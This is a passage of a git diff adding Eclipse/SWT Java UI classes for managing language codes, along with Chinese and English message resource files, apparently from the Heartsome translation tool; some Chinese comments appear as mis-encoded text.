{ + return null; + } + + public boolean hasChildren(Object element) { + return (element instanceof LanguageModel); + } + + public Object[] getElements(Object inputElement) { + return getChildren(inputElement); + } + + public void dispose() { + } + + public void inputChanged(Viewer viewer, Object oldInput, Object newInput) { + } + + } + + /** + * 语言列表比较器 + * @author cheney + * @since JDK1.6 + */ + private final class LanguageCodeComparator extends ViewerComparator { + private LinkedList sortColumns = new LinkedList(); + private boolean ascending = true; + + /** + * åˆå§‹åŒ–语言列表比较器 + */ + public LanguageCodeComparator() { + for (int i = 0; i < NUM_OF_COLUMNS; i++) { + sortColumns.add(new Integer(i)); + } + } + + /** + * 排åºçš„列索引 + * @return ; + */ + public int getSortColumn() { + return ((Integer) sortColumns.getFirst()).intValue(); + } + + /** + * 设置排åºçš„列索引 + * @param column + * 列索引; + */ + public void setSortColumn(int column) { + if (column == getSortColumn()) { + return; + } + Integer sortColumn = new Integer(column); + sortColumns.remove(sortColumn); + sortColumns.addFirst(sortColumn); + } + + /** + * @return 是å¦å‡åºæŽ’列. + */ + public boolean isAscending() { + return ascending; + } + + /** + * @param ascending + * 设置是å¦ä¸ºå‡åºæŽ’列. + */ + public void setAscending(boolean ascending) { + this.ascending = ascending; + } + + @Override + public int compare(Viewer viewer, Object e1, Object e2) { + int result = 0; + Iterator i = sortColumns.iterator(); + while (i.hasNext() && result == 0) { + int column = i.next().intValue(); + result = compareColumn(viewer, e1, e2, column); + } + return ascending ? result : (-1) * result; + } + + @SuppressWarnings("unchecked") + private int compareColumn(final Viewer viewer, final Object a, final Object b, final int columnNumber) { + IBaseLabelProvider baseLabel = ((TreeViewer) viewer).getLabelProvider(); + if (baseLabel instanceof ITableLabelProvider) { + ITableLabelProvider tableProvider = (ITableLabelProvider) baseLabel; + String e1p = tableProvider.getColumnText(a, columnNumber); + String e2p = tableProvider.getColumnText(b, columnNumber); + if (e1p != null && e2p != null) { + return getComparator().compare(e1p, e2p); + } + } + return 0; + } + } + + private final static class ResortColumn extends SelectionAdapter { + private final LanguageCodeComparator comparator; + private final TreeColumn treeColumn; + private final TreeViewer viewer; + private final int column; + + public ResortColumn(LanguageCodeComparator comparator, TreeColumn treeColumn, TreeViewer viewer, int column) { + this.comparator = comparator; + this.treeColumn = treeColumn; + this.viewer = viewer; + this.column = column; + } + + @Override + public void widgetSelected(SelectionEvent e) { + if (comparator.getSortColumn() == column) { + comparator.setAscending(!comparator.isAscending()); + viewer.getTree().setSortDirection(comparator.isAscending() ? SWT.UP : SWT.DOWN); + } else { + viewer.getTree().setSortColumn(treeColumn); + comparator.setSortColumn(column); + } + try { + viewer.getTree().setRedraw(false); + viewer.refresh(); + } finally { + viewer.getTree().setRedraw(true); + } + } + } + + /** + * (non-Javadoc) + * @see org.eclipse.jface.dialogs.DialogPage#dispose() + */ + public void dispose() { + for (String code : imageCache.keySet()) { + Image im = imageCache.get(code); + if (im != null && !im.isDisposed()) { + im.dispose(); + } + } + if (isBidiImage != null && !isBidiImage.isDisposed()) { + isBidiImage.dispose(); + } + imageCache.clear(); + super.dispose(); + } +} diff --git a/base_commons/net.heartsome.cat.common.ui/src/net/heartsome/cat/common/ui/languagesetting/LanguageLabelProvider.java b/base_commons/net.heartsome.cat.common.ui/src/net/heartsome/cat/common/ui/languagesetting/LanguageLabelProvider.java new file mode 100644 index 0000000..0b87c74 --- /dev/null +++ b/base_commons/net.heartsome.cat.common.ui/src/net/heartsome/cat/common/ui/languagesetting/LanguageLabelProvider.java @@ -0,0 +1,69 @@ +/** + * LanguageLabelProvider.java + * + * Version information : + * + * Date:Mar 21, 2012 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.common.ui.languagesetting; + +import java.util.HashMap; +import java.util.Map; + +import net.heartsome.cat.common.locale.Language; +import net.heartsome.cat.common.ui.Activator; + +import org.eclipse.jface.resource.ImageDescriptor; +import org.eclipse.jface.viewers.LabelProvider; +import org.eclipse.swt.graphics.Image; +import org.eclipse.swt.graphics.ImageData; +import org.eclipse.swt.widgets.Display; + +/** + * 语言相关的Viewer标签æ供器 + * @author Jason + * @version + * @since JDK1.6 + */ +public class LanguageLabelProvider extends LabelProvider { + private Map imageCache = new HashMap(); + + public Image getImage(Object element) { + if (element instanceof Language) { + Language lang = (Language) element; + String code = lang.getCode(); + String imagePath = lang.getImagePath(); + if (imagePath != null && !imagePath.equals("")) { + ImageDescriptor imageDesc = Activator.getImageDescriptor(imagePath); + if (imageDesc != null) { + ImageData data = imageDesc.getImageData().scaledTo(16, 12); + Image image = new Image(Display.getDefault(), data); + + // 销æ¯åŽŸæ¥çš„图片 + Image im = imageCache.put(code, image); + if (im != null && !im.isDisposed()) { + im.dispose(); + } + return image; + } + } + } + return null; + } + + public void dispose(){ + for (String code : imageCache.keySet()) { + Image im = imageCache.get(code); + if (im != null && !im.isDisposed()) { + im.dispose(); + } + } + imageCache.clear(); + super.dispose(); + } +} diff --git a/base_commons/net.heartsome.cat.common.ui/src/net/heartsome/cat/common/ui/languagesetting/LanguageModel.java b/base_commons/net.heartsome.cat.common.ui/src/net/heartsome/cat/common/ui/languagesetting/LanguageModel.java new file mode 100644 index 0000000..7b61a7b --- /dev/null +++ b/base_commons/net.heartsome.cat.common.ui/src/net/heartsome/cat/common/ui/languagesetting/LanguageModel.java @@ -0,0 +1,105 @@ +package net.heartsome.cat.common.ui.languagesetting; + +import java.util.HashSet; +import java.util.List; +import java.util.Map; +import java.util.Set; + +import net.heartsome.cat.common.locale.Language; +import net.heartsome.cat.common.locale.LocaleService; + + +/** + * 此类用于用户与语言首选项进行交互时,æ“作相关Language设置 + * @author cheney + * @since JDK1.6 + */ +public class LanguageModel extends Language { + + // 首选项中的语言列表 + private Set languages; + // 首选项中语言代ç ä¸Žè¯­è¨€å®žä½“çš„å…³è” Map + private Map languagesMap; + + /** + * 默认构造函数构建 + */ + public LanguageModel() { + this("root", "root", null,false); + } + + /** + * 继承父类Language的构造函数 + * @param code + * @param name + * @param bidi + */ + public LanguageModel(String code, String name, String imagePath, boolean bidi) { + super(code, name,imagePath, bidi); + languagesMap=LocaleService.getDefaultLanguage(); + languages=new HashSet(languagesMap.values()); + + } + + /** + * 语言列表 + * @return 语言列表; + */ + public Set getLanguages() { + return languages; + } + + /** + * 语言列表 + * @param languages + * 语言列表; + */ + public void setLanguages(Set languages) { + this.languages = languages; + } + + /** + * 语言代ç å’Œè¯­è¨€å¯¹åº”çš„ Map + * @return 语言代ç å’Œè¯­è¨€å¯¹åº”çš„ Map; + */ + public Map getLanguagesMap() { + return languagesMap; + } + + /** + * 语言代ç å’Œè¯­è¨€å¯¹åº”çš„ Map + * @param languagesMap + * 语言代ç å’Œè¯­è¨€å¯¹åº”çš„ Map; + */ + public void setLanguagesMap(Map languagesMap) { + this.languagesMap = languagesMap; + } + + /** + * 删除特定的语言列表 + * @param langs + * 牪定的语言列表; + */ + public void removeLanguage(List langs) { + if (langs == null || langs.isEmpty() || this.languages == null || this.languages.isEmpty()) { + return; + } + for (Language language : langs) { + removeLanguage(language); + } + } + + /** + * 删除特定的语言列表 + * @param lang + * 删除特定的语言列表; + */ + public void removeLanguage(Language lang) { + if (lang == null || this.languages == null || this.languages.isEmpty() || this.languagesMap == null) { + return; + } + this.languages.remove(lang); + this.languagesMap.remove(lang.getCode()); + } + +} diff --git a/base_commons/net.heartsome.cat.common.ui/src/net/heartsome/cat/common/ui/listener/PartAdapter.java b/base_commons/net.heartsome.cat.common.ui/src/net/heartsome/cat/common/ui/listener/PartAdapter.java new file mode 100644 index 0000000..ce2024b --- /dev/null +++ b/base_commons/net.heartsome.cat.common.ui/src/net/heartsome/cat/common/ui/listener/PartAdapter.java @@ -0,0 +1,22 @@ +package net.heartsome.cat.common.ui.listener; + +import org.eclipse.ui.IPartListener; +import org.eclipse.ui.IWorkbenchPart; + +public class PartAdapter implements IPartListener { + + public void partActivated(IWorkbenchPart part) { + } + + public void partBroughtToTop(IWorkbenchPart part) { + } + + public void partClosed(IWorkbenchPart part) { + } + + public void partDeactivated(IWorkbenchPart part) { + } + + public void partOpened(IWorkbenchPart part) { + } +} diff --git a/base_commons/net.heartsome.cat.common.ui/src/net/heartsome/cat/common/ui/listener/PartAdapter2.java b/base_commons/net.heartsome.cat.common.ui/src/net/heartsome/cat/common/ui/listener/PartAdapter2.java new file mode 100644 index 0000000..5c9eca0 --- /dev/null +++ b/base_commons/net.heartsome.cat.common.ui/src/net/heartsome/cat/common/ui/listener/PartAdapter2.java @@ -0,0 +1,32 @@ +package net.heartsome.cat.common.ui.listener; + +import org.eclipse.ui.IPartListener2; +import org.eclipse.ui.IWorkbenchPartReference; + +public class PartAdapter2 implements IPartListener2 { + + public void partActivated(IWorkbenchPartReference partRef) { + } + + public void partBroughtToTop(IWorkbenchPartReference partRef) { + } + + public void partClosed(IWorkbenchPartReference partRef) { + } + + public void partDeactivated(IWorkbenchPartReference partRef) { + } + + public void partHidden(IWorkbenchPartReference partRef) { + } + + public void partInputChanged(IWorkbenchPartReference partRef) { + } + + public void partOpened(IWorkbenchPartReference partRef) { + } + + public void partVisible(IWorkbenchPartReference partRef) { + } + +} diff --git a/base_commons/net.heartsome.cat.common.ui/src/net/heartsome/cat/common/ui/resource/Messages.java b/base_commons/net.heartsome.cat.common.ui/src/net/heartsome/cat/common/ui/resource/Messages.java new file mode 100644 index 0000000..ea664db --- /dev/null +++ b/base_commons/net.heartsome.cat.common.ui/src/net/heartsome/cat/common/ui/resource/Messages.java @@ -0,0 +1,25 @@ +package net.heartsome.cat.common.ui.resource; + +import java.util.MissingResourceException; +import java.util.ResourceBundle; + +/** + * 国际化工具类 + * @author peason + * @version + * @since JDK1.6 + */ +public class Messages { + + private static final String BUNDLE_NAME = "net.heartsome.cat.common.ui.resource.message"; + + private static ResourceBundle BUNDLE = ResourceBundle.getBundle(BUNDLE_NAME); + + public static String getString(String key) { + try { + return BUNDLE.getString(key); + } catch (MissingResourceException e) { + return key; + } + } +} diff --git a/base_commons/net.heartsome.cat.common.ui/src/net/heartsome/cat/common/ui/resource/message.properties b/base_commons/net.heartsome.cat.common.ui/src/net/heartsome/cat/common/ui/resource/message.properties new file mode 100644 index 0000000..1de8ecc --- /dev/null +++ b/base_commons/net.heartsome.cat.common.ui/src/net/heartsome/cat/common/ui/resource/message.properties @@ -0,0 +1,69 @@ +handlers.AbstractSelectProjectFilesHandler.msgTitle = \u63d0\u793a +handlers.AbstractSelectProjectFilesHandler.msg1 = \u8bf7\u9009\u62e9\u6587\u4ef6\u3002 +handlers.AbstractSelectProjectFilesHandler.msg2 = \u9009\u4e2d\u7684\u591a\u4e2a\u6587\u4ef6\u5fc5\u987b\u5c5e\u4e8e\u540c\u4e00\u9879\u76ee\u3002\u8bf7\u91cd\u65b0\u9009\u62e9\u3002 +handlers.AbstractSelectProjectFilesHandler.msg3 = [LOG] \u672a\u6210\u529f\u83b7\u53d6\u201c{0}\u201d\u6587\u4ef6\u5939\u4e0b\u7684\u6587\u4ef6\u3002 +handlers.AbstractSelectProjectFilesHandler.msg4 = \u65e0\u6cd5\u5904\u7406\u4e0b\u5217\u6587\u4ef6\uff1a\n{0}\n\n\u8bf7\u786e\u8ba4\u9009\u62e9\u7684\u6587\u4ef6\u683c\u5f0f\uff08\u540e\u7f00\u540d\uff09\u5747\u5728 Heartsome Translation Studio \u7684\u652f\u6301\u4e4b\u5217\u3002\n\n\u8981\u8df3\u8fc7\u8fd9\u4e9b\u6587\u4ef6\uff0c\u8bf7\u70b9\u51fb\u201c\u786e\u5b9a\u201d\uff1b\u8981\u91cd\u65b0\u9009\u62e9\u6587\u4ef6\uff0c\u8bf7\u70b9\u51fb\u201c\u53d6\u6d88\u201d\u3002 +HSFontSettingComposite.fontNameLabel = \u5b57\u4f53\uff1a +HSFontSettingComposite.fontSizeLabel = \u5b57\u53f7\uff1a +HSFontSettingComposite.fontPreViewLabel = \u793a\u4f8b\uff1a + +languagecode.LanguageCodesPreferencePage.groupParent = \u8bed\u8a00 +languagecode.LanguageCodesPreferencePage.imageLabel = \u7ba1\u7406\u7ffb\u8bd1\u9879\u76ee\u4e2d\u53ef\u4ee5\u4f7f\u7528\u7684\u8bed\u8a00\uff1a +languagecode.LanguageCodesPreferencePage.msgTitle = \u63d0\u793a +languagecode.LanguageCodesPreferencePage.msg1 = \u8bf7\u9009\u62e9\u8981{0}\u7684\u8bed\u8a00\u3002 +languagecode.LanguageCodesPreferencePage.msg2 = \u7f16\u8f91 +languagecode.LanguageCodesPreferencePage.msg3 = \u5220\u9664 +languagecode.LanguageCodesPreferencePage.msg4 = \u8bf7\u53ea\u9009\u62e9\u4e00\u4e2a\u8bed\u8a00\u3002 +languagecode.LanguageCodesPreferencePage.addBtn = \u6dfb\u52a0 +languagecode.LanguageCodesPreferencePage.editBtn = \u7f16\u8f91 +languagecode.LanguageCodesPreferencePage.removeBtn = \u5220\u9664 +languagecode.LanguageCodesPreferencePage.codeColumn = \u4ee3\u7801 +languagecode.LanguageCodesPreferencePage.nameColumn = \u540d\u79f0 +languagecode.LanguageCodesPreferencePage.bidiColumn = \u53cc\u5411\u8bed\u8a00 +languagecode.LanguageCodesPreferencePage.logger1 = [LOG] \u83b7\u53d6\u63d2\u4ef6\u8def\u5f84\u51fa\u9519\uff0c\u63d2\u4ef6 ID\uff1a{0} +languagecode.LanguageCodesPreferencePage.logger2 = [LOG] \u6dfb\u52a0\u8bed\u8a00\u65f6\u51fa\u73b0\u9519\u8bef +languagecode.LanguageCodesPreferencePage.logger3 = [LOG] \u7f16\u8f91\u8bed\u8a00\u65f6\u51fa\u73b0\u9519\u8bef +languagecode.LanguageCodesPreferencePage.logger4 = [LOG] \u5220\u9664\u8bed\u8a00\u65f6\u51fa\u73b0\u9519\u8bef +languagecode.AddOrUpdateLanguageDialog.addTitle = \u6dfb\u52a0\u8bed\u8a00 +languagecode.AddOrUpdateLanguageDialog.editTitle = \u7f16\u8f91\u8bed\u8a00 +languagecode.AddOrUpdateLanguageDialog.lblLangImage = \u56fe\u6807\uff1a +languagecode.AddOrUpdateLanguageDialog.imageLabel = \u4e3a\u8bed\u8a00\u8bbe\u7f6e\u4e00\u4e2a\u5927\u5c0f\u4e3a 16x12px \u7684\u56fe\u6807\uff0c\u5355\u51fb\u56fe\u7247\u4fee\u6539\u3002 +languagecode.AddOrUpdateLanguageDialog.lblImage = \uff0816x12 \u50cf\u7d20\uff09 +languagecode.AddOrUpdateLanguageDialog.txtCode = \u8bed\u8a00\u4ee3\u7801\uff1a +languagecode.AddOrUpdateLanguageDialog.txtName = \u8bed\u8a00\u540d\u79f0\uff1a +languagecode.AddOrUpdateLanguageDialog.isBidi = \u53cc\u5411\u8bed\u8a00\uff1a +languagecode.AddOrUpdateLanguageDialog.btnIsBidi = \u662f +languagecode.AddOrUpdateLanguageDialog.btnIsNotBidi = \u5426 +languagecode.AddOrUpdateLanguageDialog.msgTitle = \u63d0\u793a +languagecode.AddOrUpdateLanguageDialog.msg1 = \u8bf7\u8f93\u5165\u8bed\u8a00\u4ee3\u7801\u3002 +languagecode.AddOrUpdateLanguageDialog.msg2 = \u8be5\u8bed\u8a00\u4ee3\u7801\u5df2\u5b58\u5728\uff0c\u8bf7\u91cd\u65b0\u8f93\u5165\u3002 +languagecode.AddOrUpdateLanguageDialog.msg3 = \u8bf7\u8f93\u5165\u8bed\u8a00\u540d\u79f0\u3002 +languagecode.AddOrUpdateLanguageDialog.msg4 = \u786e\u5b9a\u8981\u7ee7\u7eed\u4fdd\u5b58\u5417\uff1f +languagecode.AddOrUpdateLanguageDialog.msg5 = \u65e0\u6548\u7684 ISO 639-1 \u8bed\u8a00\u4ee3\u7801\u3002 +languagecode.AddOrUpdateLanguageDialog.msg6 = \u65e0\u6548\u7684 ISO 639-2 \u8bed\u8a00\u4ee3\u7801\u3002 +languagecode.AddOrUpdateLanguageDialog.msg7 = \u8bed\u8a00\u4ee3\u7801\u683c\u5f0f\u5e94\u8be5\u4e3a\uff1axx-YY \u6216 xxx-YY\u3002 +languagecode.AddOrUpdateLanguageDialog.msg8 = \u65e0\u6548\u7684 ISO 3166-1 \u56fd\u5bb6\u4ee3\u7801\u3002 +languagecode.AddOrUpdateLanguageDialog.msg9 = \u8bed\u8a00\u4ee3\u7801\u957f\u5ea6\u4e0d\u6b63\u786e\u3002 + +# 2012-09-27 add by jason +languagecode.LanguageCodesPreferencePage.msg5 = \u8bed\u8a00\u88ab\u5220\u9664\u540e\u5c06\u65e0\u6cd5\u6062\u590d\uff0c\u786e\u5b9a\u8981\u5220\u9664\u9009\u4e2d\u7684\u8bed\u8a00\u5417\uff1f + + +utils.OpenMesssageUtils.messageDialog.ErrorTitle = \u9519\u8bef +utils.OpenMesssageUtils.messageDialog.Warningtitle = \u8b66\u544a +utils.OpenMesssageUtils.messageDialog.Infotitle = \u6d88\u606f +utils.OpenMesssageUtils.messageDialog.confirmTitle = \u786e\u8ba4 +dialog.HsabstractProgressDialog.closeTtile=\u5173\u95ed +dialog.HsabstractProgressDialog.closeMsg=\u5f53\u524d\u6709\u4efb\u52a1\u6b63\u5728\u8fd0\u884c\uff0c\u5fc5\u987b\u5148\u53d6\u6d88\u5728\u8fd0\u884c\u7684\u4efb\u52a1\u540e\u518d\u5173\u95ed\u7a97\u53e3\u3002 +dialog.HsabstractProgressDialog.taskFinished=\u64cd\u4f5c\u5b8c\u6210\u3002 +dialog.HsabstractProgressDialog.outofmemory = \u5185\u5b58\u4e0d\u8db3\uff0c\u65e0\u6cd5\u5b8c\u6210\u6b64\u64cd\u4f5c\u3002\n\n\u8bf7\u6309\u7167\u5982\u4e0b\u6b65\u9aa4\u589e\u52a0\u672c\u8f6f\u4ef6\u53ef\u4f7f\u7528\u7684\u5185\u5b58\uff1a\n1\u3001Windows/Linux \u7528\u6237\u8bf7\u6253\u5f00\u8f6f\u4ef6\u5b89\u88c5\u76ee\u5f55\u4e2d\u7684 Heartsome TMX Editor.ini \u6587\u4ef6\uff1b\n2\u3001Mac OS X \u7528\u6237\u8bf7\u6253\u5f00\u8f6f\u4ef6\u5b89\u88c5\u76ee\u5f55\uff0c\u53f3\u952e\u70b9\u51fb Heartsome TMX Editor.app\uff0c\u9009\u62e9\u201c\u663e\u793a\u5305\u5185\u5bb9\u201d\uff0c\u6253\u5f00 Contents/MacOS/Heartsome TMX Editor.ini \u6587\u4ef6\uff1b\n3\u3001\u4fee\u6539\u4e0a\u8ff0 .ini \u6587\u4ef6\u4e2d\u7684 -Xmx512m \u4e3a\u66f4\u5927\u7684\u6570\u503c\uff0c\u4f8b\u5982\u6539\u4e3a -Xmx1024m \u6216 -Xmx1536m\uff08\u8bf7\u6ce8\u610f\u4fee\u6539\u540e\u7684\u503c\u4e0d\u80fd\u8d85\u8fc7\u60a8\u7684\u7269\u7406\u5185\u5b58\u5927\u5c0f\uff09\uff1b\n4\u3001\u91cd\u542f\u672c\u8f6f\u4ef6\u3002 + +# add by robert 2013-12-12 +dialog.FileCoverMsgDialog.windowTitle = \u6587\u4ef6\u91cd\u540d\u51b2\u7a81 +dialog.FileCoverMsgDialog.alwaysBtn = \u4e0d\u518d\u8be2\u95ee +dialog.FileCoverMsgDialog.skipBtn = \u8df3\u8fc7 +dialog.FileCoverMsgDialog.cancelBtn = \u53d6\u6d88 +dialog.FileCoverMsgDialog.overBtn = \u8986\u76d6 +dialog.FileCoverMsgDialog.message = \u6587\u4ef6 {0} \u5df2\u7ecf\u5b58\u5728\uff0c\u8bf7\u9009\u62e9\u5904\u7406\u65b9\u5f0f\uff1a + + diff --git a/base_commons/net.heartsome.cat.common.ui/src/net/heartsome/cat/common/ui/resource/message_en.properties b/base_commons/net.heartsome.cat.common.ui/src/net/heartsome/cat/common/ui/resource/message_en.properties new file mode 100644 index 0000000..72b631e --- /dev/null +++ b/base_commons/net.heartsome.cat.common.ui/src/net/heartsome/cat/common/ui/resource/message_en.properties @@ -0,0 +1,67 @@ +handlers.AbstractSelectProjectFilesHandler.msgTitle = Message +handlers.AbstractSelectProjectFilesHandler.msg1 = Please select files. +handlers.AbstractSelectProjectFilesHandler.msg2 = Selected files should belong to the same project. Please select again. +handlers.AbstractSelectProjectFilesHandler.msg3 = [LOG] \u672a\u6210\u529f\u83b7\u53d6\u201c{0}\u201d\u6587\u4ef6\u5939\u4e0b\u7684\u6587\u4ef6\u3002 +handlers.AbstractSelectProjectFilesHandler.msg4 = Unable to process the following files:\n{0}\n\n Please make sure that the formats (extensions) of the selected files are supported by Heartsome Translation Studio.\n\n To skip this step, please click "OK". To re-select the file, click "Cancel". + +HSFontSettingComposite.fontNameLabel = Font: +HSFontSettingComposite.fontSizeLabel = Size: +HSFontSettingComposite.fontPreViewLabel = Example: + +languagecode.LanguageCodesPreferencePage.groupParent = Language +languagecode.LanguageCodesPreferencePage.imageLabel = Manage languages that can be used in projects: +languagecode.LanguageCodesPreferencePage.msgTitle = Message +languagecode.LanguageCodesPreferencePage.msg1 = Please select the language to {0}. +languagecode.LanguageCodesPreferencePage.msg2 = Edit +languagecode.LanguageCodesPreferencePage.msg3 = Delete +languagecode.LanguageCodesPreferencePage.msg4 = Please select only one language. +languagecode.LanguageCodesPreferencePage.addBtn = Add +languagecode.LanguageCodesPreferencePage.editBtn = Edit +languagecode.LanguageCodesPreferencePage.removeBtn = Delete +languagecode.LanguageCodesPreferencePage.codeColumn = Code +languagecode.LanguageCodesPreferencePage.nameColumn = Name +languagecode.LanguageCodesPreferencePage.bidiColumn = Bi-directional Languages +languagecode.LanguageCodesPreferencePage.logger1 = [LOG] \u83b7\u53d6\u63d2\u4ef6\u8def\u5f84\u51fa\u9519\uff0c\u63d2\u4ef6 ID\uff1a{0} +languagecode.LanguageCodesPreferencePage.logger2 = [LOG] \u6dfb\u52a0\u8bed\u8a00\u65f6\u51fa\u73b0\u9519\u8bef +languagecode.LanguageCodesPreferencePage.logger3 = [LOG] \u7f16\u8f91\u8bed\u8a00\u65f6\u51fa\u73b0\u9519\u8bef +languagecode.LanguageCodesPreferencePage.logger4 = [LOG] \u5220\u9664\u8bed\u8a00\u65f6\u51fa\u73b0\u9519\u8bef +languagecode.AddOrUpdateLanguageDialog.addTitle = Add Language +languagecode.AddOrUpdateLanguageDialog.editTitle = Edit Language +languagecode.AddOrUpdateLanguageDialog.lblLangImage = Icon: +languagecode.AddOrUpdateLanguageDialog.imageLabel = Set an icon (size: 16x12 px) for the selected language. Click the icon to modify. +languagecode.AddOrUpdateLanguageDialog.lblImage = \uff0816x12 px\uff09 +languagecode.AddOrUpdateLanguageDialog.txtCode = Language code: +languagecode.AddOrUpdateLanguageDialog.txtName = Language name: +languagecode.AddOrUpdateLanguageDialog.isBidi = Bi-directional language: +languagecode.AddOrUpdateLanguageDialog.btnIsBidi = Yes +languagecode.AddOrUpdateLanguageDialog.btnIsNotBidi = No +languagecode.AddOrUpdateLanguageDialog.msgTitle = Message +languagecode.AddOrUpdateLanguageDialog.msg1 = Please enter a language code. +languagecode.AddOrUpdateLanguageDialog.msg2 = The language code already exists. Please enter another one. +languagecode.AddOrUpdateLanguageDialog.msg3 = Please enter the name of the language. +languagecode.AddOrUpdateLanguageDialog.msg4 = Are you sure you want to save it? +languagecode.AddOrUpdateLanguageDialog.msg5 = Invalid ISO 639-1 language code. +languagecode.AddOrUpdateLanguageDialog.msg6 = Invalid ISO 639-2 language code. +languagecode.AddOrUpdateLanguageDialog.msg7 = The standard format of the language code is: xx-YY or xxx-YY. +languagecode.AddOrUpdateLanguageDialog.msg8 = Invalid ISO 3166-1 country code. +languagecode.AddOrUpdateLanguageDialog.msg9 = The length of the language code is incorrect. + +# 2012-09-27 add by jason +languagecode.LanguageCodesPreferencePage.msg5 = Languages can not be restored once removed. Are you sure you want to delete the selected languages? + +utils.OpenMesssageUtils.messageDialog.ErrorTitle = Error +utils.OpenMesssageUtils.messageDialog.Warningtitle = Warning +utils.OpenMesssageUtils.messageDialog.Infotitle = Message +utils.OpenMesssageUtils.messageDialog.confirmTitle = Confirm +dialog.HsabstractProgressDialog.closeTtile=Close +dialog.HsabstractProgressDialog.closeMsg=Task is running. You must first stop the task, and then close the window. +dialog.HsabstractProgressDialog.taskFinished=Operation is complete. +dialog.HsabstractProgressDialog.outofmemory = No enough memory is available to complete this operation. \n\n Please follow the steps below to increase the RAM for the software. \n 1. For Windows/Linux users, please open the "Heartsome TMX Editor.ini" file in the installation directory of the software. \n 2. For Mac OS X users, please open the installation directory of the software, right click "Heartsome TMX Editor.app" file, select "Show Package Contents", and then open the "Contents/MacOS/Heartsome TMX Editor.ini" file. \n 3. Edit the value "-Xmx512m" in the above .ini file. For example, change to "-Xmx1024m" or "-Xmx1536m" (please note that the new value cannot be greater than your physical RAM size). \n 4. Restart the software. + +# add by robert 2013-12-12 +dialog.FileCoverMsgDialog.windowTitle = Duplicate Filename Found +dialog.FileCoverMsgDialog.alwaysBtn = Don't ask me again +dialog.FileCoverMsgDialog.skipBtn = Skip +dialog.FileCoverMsgDialog.cancelBtn = Cancel +dialog.FileCoverMsgDialog.overBtn = Overwrite +dialog.FileCoverMsgDialog.message = File "{0}" already exists. Please choose an action to perform: \ No newline at end of file diff --git a/base_commons/net.heartsome.cat.common.ui/src/net/heartsome/cat/common/ui/resource/message_zh.properties b/base_commons/net.heartsome.cat.common.ui/src/net/heartsome/cat/common/ui/resource/message_zh.properties new file mode 100644 index 0000000..876d711 --- /dev/null +++ b/base_commons/net.heartsome.cat.common.ui/src/net/heartsome/cat/common/ui/resource/message_zh.properties @@ -0,0 +1,67 @@ +handlers.AbstractSelectProjectFilesHandler.msgTitle = \u63d0\u793a +handlers.AbstractSelectProjectFilesHandler.msg1 = \u8bf7\u9009\u62e9\u6587\u4ef6\u3002 +handlers.AbstractSelectProjectFilesHandler.msg2 = \u9009\u4e2d\u7684\u591a\u4e2a\u6587\u4ef6\u5fc5\u987b\u5c5e\u4e8e\u540c\u4e00\u9879\u76ee\u3002\u8bf7\u91cd\u65b0\u9009\u62e9\u3002 +handlers.AbstractSelectProjectFilesHandler.msg3 = [LOG] \u672a\u6210\u529f\u83b7\u53d6\u201c{0}\u201d\u6587\u4ef6\u5939\u4e0b\u7684\u6587\u4ef6\u3002 +handlers.AbstractSelectProjectFilesHandler.msg4 = \u65e0\u6cd5\u5904\u7406\u4e0b\u5217\u6587\u4ef6\uff1a\n{0}\n\n\u8bf7\u786e\u8ba4\u9009\u62e9\u7684\u6587\u4ef6\u683c\u5f0f\uff08\u540e\u7f00\u540d\uff09\u5747\u5728 Heartsome Translation Studio \u7684\u652f\u6301\u4e4b\u5217\u3002\n\n\u8981\u8df3\u8fc7\u8fd9\u4e9b\u6587\u4ef6\uff0c\u8bf7\u70b9\u51fb\u201c\u786e\u5b9a\u201d\uff1b\u8981\u91cd\u65b0\u9009\u62e9\u6587\u4ef6\uff0c\u8bf7\u70b9\u51fb\u201c\u53d6\u6d88\u201d\u3002 +HSFontSettingComposite.fontNameLabel = \u5b57\u4f53\uff1a +HSFontSettingComposite.fontSizeLabel = \u5b57\u53f7\uff1a +HSFontSettingComposite.fontPreViewLabel = \u793a\u4f8b\uff1a + +languagecode.LanguageCodesPreferencePage.groupParent = \u8bed\u8a00 +languagecode.LanguageCodesPreferencePage.imageLabel = \u7ba1\u7406\u7ffb\u8bd1\u9879\u76ee\u4e2d\u53ef\u4ee5\u4f7f\u7528\u7684\u8bed\u8a00\uff1a +languagecode.LanguageCodesPreferencePage.msgTitle = \u63d0\u793a +languagecode.LanguageCodesPreferencePage.msg1 = \u8bf7\u9009\u62e9\u8981{0}\u7684\u8bed\u8a00\u3002 +languagecode.LanguageCodesPreferencePage.msg2 = \u7f16\u8f91 +languagecode.LanguageCodesPreferencePage.msg3 = \u5220\u9664 +languagecode.LanguageCodesPreferencePage.msg4 = \u8bf7\u53ea\u9009\u62e9\u4e00\u4e2a\u8bed\u8a00\u3002 +languagecode.LanguageCodesPreferencePage.addBtn = \u6dfb\u52a0 +languagecode.LanguageCodesPreferencePage.editBtn = \u7f16\u8f91 +languagecode.LanguageCodesPreferencePage.removeBtn = \u5220\u9664 +languagecode.LanguageCodesPreferencePage.codeColumn = \u4ee3\u7801 +languagecode.LanguageCodesPreferencePage.nameColumn = \u540d\u79f0 +languagecode.LanguageCodesPreferencePage.bidiColumn = \u53cc\u5411\u8bed\u8a00 +languagecode.LanguageCodesPreferencePage.logger1 = [LOG] \u83b7\u53d6\u63d2\u4ef6\u8def\u5f84\u51fa\u9519\uff0c\u63d2\u4ef6 ID\uff1a{0} +languagecode.LanguageCodesPreferencePage.logger2 = [LOG] \u6dfb\u52a0\u8bed\u8a00\u65f6\u51fa\u73b0\u9519\u8bef +languagecode.LanguageCodesPreferencePage.logger3 = [LOG] \u7f16\u8f91\u8bed\u8a00\u65f6\u51fa\u73b0\u9519\u8bef +languagecode.LanguageCodesPreferencePage.logger4 = [LOG] 